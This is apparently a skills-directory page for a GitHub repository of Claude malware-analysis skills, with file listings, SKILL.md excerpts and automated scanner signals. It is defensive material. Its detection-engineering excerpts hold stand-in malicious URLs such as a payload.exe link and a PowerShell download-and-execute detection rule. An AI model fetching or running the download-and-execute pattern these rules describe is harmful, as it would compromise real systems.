Not in the top 1,000 by GitHub stars
gl0bal01/malware-analysis-claude-skills
Complete Claude skills toolkit for professional malware analysis. 5 specialized skills covering triage, dynamic analysis, detection engineering, and reporting. Works with REMnux/FlareVM offline environments.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
detection-engineer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
malware-dynamic-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
malware-report-writer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
malware-triage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
specialized-file-analyzer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
e1d9a1a8e18e → e1d9a1a8e18e
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e1d9a1a8e18e
No earlier version was observed for comparison.
View on GitHubAdd to my skills
Verified commit e1d9a1a8e18e3db8f3534436cfc763c53b6b3350
git clone --filter=blob:none --no-checkout https://github.com/gl0bal01/malware-analysis-claude-skills.git .hotskills/gl0bal01-malware-analysis-claude-skills && git -C .hotskills/gl0bal01-malware-analysis-claude-skills checkout --detach e1d9a1a8e18e3db8f3534436cfc763c53b6b3350
# Copy each selected skill directory from .hotskills/gl0bal01-malware-analysis-claude-skills into .claude/skills/<skill-name>/54GitHub stars
0stars in 7 days
6skills in this repository
0commits in 30 days
Heat
0.3- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- malware-analysis
/ - detection-engineer
detection-engineer - malware-dynamic-analysis
malware-dynamic-analysis - malware-report-writer
malware-report-writer - malware-triage
malware-triage - specialized-file-analyzer
specialized-file-analyzer
How it works
malware-analysis
When your agent uses it
Orchestrate the complete malware analysis lifecycle across triage, dynamic analysis, detection engineering, and report writing. Use as the single entry point for any malware analysis task — routes to specialized sub-skills by file type and phase, carries findings between phases, and supports multi-sample batch workflows.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
3,348 tokensWhen the skill is activated
Reference documents
7,687 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- How This Works
- Execution Model
- Routing Logic
- Phase Sequence
- Phase Transitions (Suggest-Next Mode)
- State File: `analysis_state.md`
- Multi-Sample Batch Workflow
- Conventions Enforced
- Edge Cases
- Sub-Skill Reference
- MCP Server Integrations (Optional)
Scripts executed separately
README.mdscripts/ioc_extract.pytests/extract_rules.pytests/fixtures/scripts/malicious.ps1tests/fixtures/scripts/malicious.vbstests/make_pe.pytests/run.sh
Files
.claude-plugin/marketplace.jsonasset788 bytes.claude-plugin/plugin.jsonasset731 bytes.github/workflows/mirror.ymlasset685 bytes.github/workflows/test.ymlasset487 bytes.gitignoreasset329 bytesCHANGELOG.mddoc7,982 bytesCLAUDE.mddoc7,212 bytesLICENSEasset1,065 bytesREADME.mdruns19,128 bytesSKILL.mdcore13,822 bytesSKILL.mdcore13,822 bytesSKILL.mdcore13,822 bytesdocs/example-triage.mddoc5,024 bytesreferences/mcp_integrations.mddoc10,217 bytesscripts/ioc_extract.pyruns11,830 bytestests/extract_rules.pyruns895 bytestests/fixtures/evidence/dns.txtdoc146 bytestests/fixtures/evidence/http.txtdoc228 bytestests/fixtures/evidence/procmon.csvasset2,500 bytestests/fixtures/evidence/syn.txtdoc203 bytestests/fixtures/evidence/sysmon.jsonasset5,319 bytestests/fixtures/evidence/tls.txtdoc89 bytestests/fixtures/scripts/malicious.ps1runs421 bytestests/fixtures/scripts/malicious.vbsruns188 bytestests/fixtures/yara/fixture.yarasset575 bytestests/make_pe.pyruns5,521 bytestests/run.shruns6,647 bytes
Read SKILL.md
# Malware Analysis Orchestrator
Single entry point for malware analysis engagements. Routes to specialized sub-skills, carries findings between phases, and manages multi-sample workflows.
## How This Works
You describe what you need — "analyze this sample", "I have 5 files to triage", "create detection rules from my findings" — and this orchestrator:
1. Determines which sub-skill to use based on your file type and intent
2. **Runs the analysis** using that sub-skill: Claude executes the static tooling, parses exported evidence, writes rules and reports itself
3. Records findings in a state file (`analysis_state.md`)
4. Recommends the next phase when the current one completes
5. Waits for your confirmation before proceeding
detection-engineer
When your agent uses it
Create detection rules and hunting queries from malware analysis findings. Use when you need to write Sigma rules for SIEM, Suricata rules for network IDS, defang IOCs for safe sharing, or convert analysis findings into actionable detection content for SOC teams and threat hunters.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
6,567 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Model
- When to Use This Skill
- IOC Management & Defanging
- Sigma Rule Creation (SIEM Detection)
- Suricata Rule Creation (Network IDS)
- Hunting Queries
- IOC Formats & Standards
- Detection Logic Development
- Quality Checklist
- Integration with Malware Reports
- Tool Quick Reference
- Example Usage
Scripts executed separately
../scripts/ioc_extract.py
Files
SKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytesSKILL.mdcore24,173 bytes../scripts/ioc_extract.pyruns11,830 bytes
Read SKILL.md
# Detection Engineer
Transform malware analysis findings into production-ready detection rules, hunting queries, and operationalized IOCs.
> **Note:** YARA rules are authored in the `malware-report-writer` skill, not here. This skill covers Sigma rules, Suricata/Snort rules, and hunting queries.
## Execution Model
- **Start from the evidence, not from the user's memory.** Read `analysis_state.md`, `procmon_summary.txt`, `sysmon_summary.txt`, and the tshark exports yourself; every rule below is derived from a specific observed behavior or network artifact, and you cite it in the rule's `description`/`reference`.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Write rules to files:** `detections/sigma/<name>.yml`, `detections/suricata/<name>.rules`, `detections/hunting/<platform>.txt`, `detections/iocs.csv|.json`. Create the directories.
- **Test what you can, say what you couldn't.** Run `sigma check` and `suricata -T` (below) when installed; otherwise write `status: experimental` and note "untested" in the state file. Never claim a rule is validated without output to show.
- **Defang with the bundled script:** `python3 scripts/ioc_extract.py <evidence files>` (repo root) produces the deduplicated, defanged list; `--format csv|json` feeds the export formats; `--refang` restores live values for rule bodies.
- **UUIDs:** `python3 -c "import uuid; print(uuid.uuid4())"` per Sigma rule. **SIDs:** 1000000+ and unique across the engagement.malware-dynamic-analysis
When your agent uses it
Behavioral analysis of a sample executed in an isolated VM. Use after triage when runtime behavior, C2 traffic, dropped files, persistence, or injection must be observed. Claude produces a tailored VM runbook from triage predictions, then parses the exported text evidence (Procmon CSV, Sysmon JSON/CSV, tshark output, autoruns, strings) on the host to reconstruct behavior and extract IOCs. The analyst runs the VM; Claude never executes the sample.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
5,418 tokensWhen the skill is activated
Reference documents
10,708 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Model
- Part A — VM Runbook (analyst executes this)
- Part B — Evidence Analysis (you do this)
- Output
- Quality Gate
- References
Scripts executed separately
scripts/procmon_summary.pyscripts/sysmon_summary.py../scripts/ioc_extract.py
Files
SKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesSKILL.mdcore19,642 bytesreferences/anti_analysis_bypass.mddoc19,388 bytesreferences/sandbox_setup.mddoc12,608 bytesreferences/tool_setup.mddoc9,028 bytesscripts/procmon_summary.pyruns9,535 bytesscripts/sysmon_summary.pyruns10,210 bytes../scripts/ioc_extract.pyruns11,830 bytes
Read SKILL.md
# Malware Dynamic Analysis
Two halves. **Part A** is a runbook the analyst follows inside the isolated VM (REMnux / FlareVM); you tailor it from triage predictions and it ends with text-format evidence exports. **Part B** is your work: parse that evidence on the host, reconstruct what the sample did, extract behavioral IOCs, and write findings to `analysis_state.md`.
## Execution Model
- **You never execute the sample.** The VM is network-isolated and has no Claude in it. Everything you run is on the host against exported evidence files.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Before the VM run:** read the triage findings in `analysis_state.md` and emit a runbook tailored to the predictions (which process names to filter, which Sysmon event IDs matter, expected protocol, expected persistence, expected evasion). Skip the tailoring only if triage is missing — then use the default runbook as-is.
- **After the VM run:** the user hands you an evidence directory. Inventory it, reject binary formats with the conversion command (see **Converting Binary Evidence**), and then work through Part B with Bash and the bundled scripts. Do not ask the user to summarize the evidence for you.
- **Scripts** (relative to this skill dir): `scripts/procmon_summary.py`, `scripts/sysmon_summary.py`; plus `../scripts/ioc_extract.py` at repo root. All stdlib Python 3.
- **Sandbox reports count as evidence.** ANY.RUN / Joe Sandbox / Hybrid Analysis / Threat.Zone (MCP) JSON or text reports go through Part B Step 6.
- **Large files:** `wc -l` first. Use the summary scripts and `grep`, never `cat` a 200k-line Procmon CSV.
malware-report-writer
When your agent uses it
Create professional malware analysis reports for enterprise security teams and incident response. Use when you need to write, structure, or improve a malware analysis report, produce executive summaries, author YARA rules, or format IOCs and detection rules for professional delivery.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
2,470 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Model
- When to Use This Skill
- Quick Start
- Key Principles
- Writing Guidelines
- Best Practices Reference
- Quality Checklist
- Output Format
- Example Usage
Scripts executed separately
assets/report_template.mdreferences/best_practices.md../scripts/ioc_extract.py
Files
SKILL.mdcore10,923 bytesSKILL.mdcore10,923 bytesSKILL.mdcore10,923 bytesSKILL.mdcore10,923 bytesassets/report_template.mdruns6,625 bytesreferences/best_practices.mdruns6,234 bytes../scripts/ioc_extract.pyruns11,830 bytes
Read SKILL.md
# Malware Report Writer
Create professional, comprehensive malware analysis reports for enterprise security teams, incident response, and threat intelligence.
## Execution Model
- **You write the report.** Read `analysis_state.md` and the evidence directory yourself (triage report, `procmon_summary.txt`, `sysmon_summary.txt`, tshark exports, decoded scripts, detection rule files) and draft every section from that. Ask the user only for what the evidence cannot tell you: engagement name, analyst name, audience, classification/TLP, and gaps you have flagged.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Author the YARA rule from the evidence** (runtime-decrypted strings, unique UA/URI, mutex, PDB path, config markers) and **test it yourself** when `yara` is installed — see **Testing YARA rules**. If it cannot be tested, mark the rule `UNTESTED` in the report; never present an untested rule as validated.
- **Defang at write time.** Run any IOC list through `python3 scripts/ioc_extract.py` (repo root) rather than defanging by hand.
- **Output is a file.** Write `reports/<sample>_report.md` in the user's workspace (create the directory), then print the executive summary and the quality-checklist result. Never leave template placeholders in the delivered file.
- **State what was not done.** Phases skipped, network not observed, packer not defeated — these go in the report's limitations, not silently omitted.
## When to Use This Skillmalware-triage
When your agent uses it
Rapid static assessment, classification, and prioritization of malware samples. Use for the first look at any unknown file — hashes, file type, packing, imports, strings, initial IOCs, threat level, and the decision on which deep-analysis phase comes next. Claude runs the static tooling on the host itself; the sample is never executed.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
3,595 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Model
- Workflow
- Unknown Files
- Batch Triage
- Output
- Quality Gate
- References
Scripts executed separately
references/indicators.mdreferences/triage_checklist.mdscripts/hash_calculator.pyscripts/pe_info.py../scripts/ioc_extract.py
Files
SKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesSKILL.mdcore13,726 bytesreferences/indicators.mdruns12,355 bytesreferences/triage_checklist.mdruns6,889 bytesscripts/hash_calculator.pyruns1,841 bytesscripts/pe_info.pyruns24,361 bytes../scripts/ioc_extract.pyruns11,830 bytes
Read SKILL.md
# Malware Triage
First phase for every sample. You run static tools on the host, interpret the output, classify the sample, and decide the next phase. Target: 5-15 minutes per sample.
## Execution Model
- **You run the commands.** You have Bash. Execute every command in this skill yourself and interpret the output. Do not ask the user to run tools or paste results unless a tool is missing and cannot be installed.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Never execute the sample.** Only static tools touch it: `file`, `strings`, `pe_info.py`, `upx -d`, `7z l`, hashing. No `chmod +x`, no `wine`, no `./sample`.
- **Never upload the sample** to any service without explicit consent. Hash lookups are fine; file uploads are not.
- **Script paths** are relative to this skill directory. From the repo/skill root: `malware-triage/scripts/pe_info.py`, `malware-triage/scripts/hash_calculator.py`, `scripts/ioc_extract.py`. Resolve them from wherever this SKILL.md lives.
- **Tool check first.** Run once per session; note what is missing and degrade rather than stop:
```bash
command -v file strings upx 7z yara; python3 -c "import pefile" 2>&1 | tail -1specialized-file-analyzer
When your agent uses it
Analyze specialized file types beyond standard PE executables - .NET assemblies, Office macros, PDFs, PowerShell scripts, JavaScript, archives, HTA files, disk images (ISO/IMG/VHD/VHDX), and Linux ELF binaries. Use when you encounter documents, scripts, disk images, or non-Windows executables that require format-specific analysis tools and techniques. Claude runs the extraction and deobfuscation tooling on the host itself; nothing is executed.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
11,529 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Execution Model
- Quick File Type Identification
- .NET / C# Assembly Analysis
- Office Document / Macro Analysis
- PDF Analysis
- PowerShell / Script Analysis
- Archive Analysis
- HTA (HTML Application) Analysis
- Disk Image Analysis (ISO / IMG / VHD / VHDX)
- Linux / ELF Binary Analysis
- Integration with Report Writing
- Tool Quick Reference
- Best Practices
- Example Usage
Scripts executed separately
../malware-triage/scripts/pe_info.py../scripts/ioc_extract.py
Files
../malware-triage/scripts/pe_info.pyruns24,361 bytes../scripts/ioc_extract.pyruns11,830 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytesSKILL.mdcore42,398 bytes
Read SKILL.md
# Specialized File Analyzer
Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, HTA files, disk images, archives, and Linux binaries.
## When to Use This Skill
Use this skill when analyzing:
- **.NET/C# assemblies** (.exe, .dll with .NET framework)
- **Office documents** with macros (.docm, .xlsm, .doc, .xls)
- **PDF files** (suspicious attachments, exploit documents)
- **Scripts** (PowerShell .ps1, VBScript .vbs, JavaScript .js)
- **HTA files** (.hta — HTML Applications executed by mshta.exe)
- **Disk images** (.iso, .img, .vhd, .vhdx — container formats that bypass MOTW)
- **Archives** (.zip, .rar, .7z, .tar.gz)Skills included
- malware-analysis
- detection-engineer
- malware-dynamic-analysis
- malware-report-writer
- malware-triage
- specialized-file-analyzer
Repository facts
- License
- MIT
- Created
- Oct 27, 2025
- Last pushed
- Sep 5, 2026
- Forks
- 4
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 117 notes
SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddetection-engineer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmalware-dynamic-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 24 dangerous shell commandsin 4 files: malware-dynamic-analysis/references/sandbox_setup.md:22 specialized-file-analyzer/SKILL.md:279 malware-dynamic-analysis/references/tool_setup.md:282 and 1 more
- 191 network referencesin 16 files: scripts/ioc_extract.py:240 detection-engineer/SKILL.md:48 README.md:6 and 13 more
- 13 obfuscation signalsin 5 files: specialized-file-analyzer/SKILL.md:151 malware-triage/scripts/pe_info.py:485 tests/fixtures/scripts/malicious.ps1:1 and 2 more
- 2 instruction override signalsin 1 file: docs/example-triage.md:13
- 23 executable scriptsin 17 files: scripts/ioc_extract.py:1 malware-triage/scripts/pe_info.py:1 README.md:1 and 14 more
- 9 references to secretsin 3 files: references/mcp_integrations.md:15 .gitignore:15 malware-triage/SKILL.md:123
- No requests to vote in Hot
Show all 262 signals by file
.claude-plugin/marketplace.json
- Network accessline 1
{ "$schema": "https://anthropic.com/claude-code/marketplace.schema.json", - Network accessline 2
"$schema": "https://anthropic.com/claude-code/marketplace.schema.json", - Network accessline 3
"name": "gl0bal01-security", "description": "Security tooling skills for Claude Code by gl0bal01.", "owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, - Network accessline 4
"description": "Security tooling skills for Claude Code by gl0bal01.", "owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, "plugins": [ - Network accessline 5
"owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, - Network accessline 10
"description": "Agentic malware analysis across triage, dynamic analysis, specialized file analysis, detection engineering, and reporting.", "version": "1.3.0", "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01 - Network accessline 11
"version": "1.3.0", "author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, "homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills", - Network accessline 12
"author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, - Network accessline 13
"homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",
.claude-plugin/plugin.json
- Network accessline 3
"version": "1.3.0", "description": "Agentic malware analysis: Claude runs the static tooling, parses exported VM evidence, writes and tests detection rules, and drafts the report across triage, dynamic analysis, specialized file analysis, - Network accessline 4
"description": "Agentic malware analysis: Claude runs the static tooling, parses exported VM evidence, writes and tests detection rules, and drafts the report across triage, dynamic analysis, specialized file analysis, detection engineering - Network accessline 5
"author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" }, - Network accessline 6
"homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills", - Network accessline 7
"repository": "https://github.com/gl0bal01/malware-analysis-claude-skills",
.github/workflows/mirror.yml
- Network accessline 19
- name: Mirror repository run: | git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true - Network accessline 20
run: | git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true git push codeberg --all --force - Network accessline 21
git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true
.gitignore
- Access to secretsline 15
[Credential-related source omitted]
CHANGELOG.md
- Network accessline 5
The format is based on [Keep a Changelog](https://keepachangelog.com/).
README.md
- Executable scriptline 1
Executable file - Network accessline 6
> 💡 **Want to learn the manual analysis techniques behind these skills?** Check out the comprehensive [Malware Analysis SOP](https://gl0bal01.com/intel-codex/Security/Analysis/sop-malware-analysis) covering traditional analysis methods and - Network accessline 116
git clone https://github.com/gl0bal01/malware-analysis-claude-skills ~/.claude/skills/malware-analysis - Network accessline 142
| MCP Server | What It Automates | API Key | |-----------|-------------------|---------| | **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) | - Network accessline 143
|-----------|-------------------|---------| | **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) | | **Threat.Zone** | Automated sandbox execution | [threat.zone](https://app.threat.z - Network accessline 144
| **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) | - Network accessline 145
| **Threat.Zone** | Automated sandbox execution | [threat.zone](https://app.threat.zone/) | - Network accessline 146
| **Threat Intel** | abuse.ch, AbuseIPDB, GreyNoise, AlienVault OTX | Per-source | | **MISP** | Team-wide IOC sharing | Self-hosted | | **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) | - Network accessline 147
| **MISP** | Team-wide IOC sharing | Self-hosted | | **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) | | **Volatility** | Memory forensics via natural language | Local install | - Network accessline 148
| **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) | - Network accessline 285
### Training - **TCM Security:** Practical Malware Analysis & Triage (https://certifications.tcm-sec.com/pmrp/) - Network accessline 286
- **TCM Security:** Practical Malware Analysis & Triage (https://certifications.tcm-sec.com/pmrp/) - Network accessline 290
### Malware Sample Sources - MalwareBazaar: https://bazaar.abuse.ch/ - Network accessline 291
- MalwareBazaar: https://bazaar.abuse.ch/ - Network accessline 292
- VirusTotal: https://www.virustotal.com/ - Network accessline 293
- Hybrid Analysis: https://www.hybrid-analysis.com/ - Network accessline 295
### Tool Documentation - Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/ - Network accessline 296
- Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/ - Network accessline 297
- Wireshark: https://www.wireshark.org/docs/ - Network accessline 298
- dnSpy: https://github.com/dnSpy/dnSpy - Network accessline 299
- Didier Stevens Tools: https://blog.didierstevens.com/programs/ - Network accessline 300
- Sigma: https://github.com/SigmaHQ/sigma - Network accessline 301
- Suricata: https://docs.suricata.io/ - Network accessline 303
### Reference Materials - SANS Malware Analysis Cheat Sheet: https://www.sans.org/posters/ - Network accessline 304
- SANS Malware Analysis Cheat Sheet: https://www.sans.org/posters/ - Network accessline 305
- MITRE ATT&CK: https://attack.mitre.org/ - Network accessline 306
- MalAPI.io (Windows APIs): https://malapi.io/
detection-engineer/SKILL.md
- Network accessline 48
# URLs http://malicious.com/payload.exe - Network accessline 49
http://malicious.com/payload.exe - Network accessline 52
https://evil.tk/login - Network accessline 95
# Defang echo "http://malicious.com" | fanger --defang - Network accessline 96
echo "http://malicious.com" | fanger --defang - Network accessline 99
# Refang (restore for testing) echo "hxxp://malicious[.]com" | fanger --fang # Output: http://malicious.com - Network accessline 101
# Output: http://malicious.com - Network accessline 106
# Defang URLs and domains echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g' - Network accessline 107
echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g' - Network accessline 152
**Official Repo:** https://github.com/SigmaHQ/sigma - Network accessline 160
description: Detailed description of what this detects references: - https://attack.mitre.org/techniques/T1059/001/ - Network accessline 161
references: - https://attack.mitre.org/techniques/T1059/001/ author: Your Name - Network accessline 162
- https://attack.mitre.org/techniques/T1059/001/ - Network accessline 235
description: Detects PowerShell downloading content and executing it via Invoke-Expression references: - https://attack.mitre.org/techniques/T1059/001/ - Network accessline 236
references: - https://attack.mitre.org/techniques/T1059/001/ - https://attack.mitre.org/techniques/T1105/ - Network accessline 237
- https://attack.mitre.org/techniques/T1059/001/ - Network accessline 238
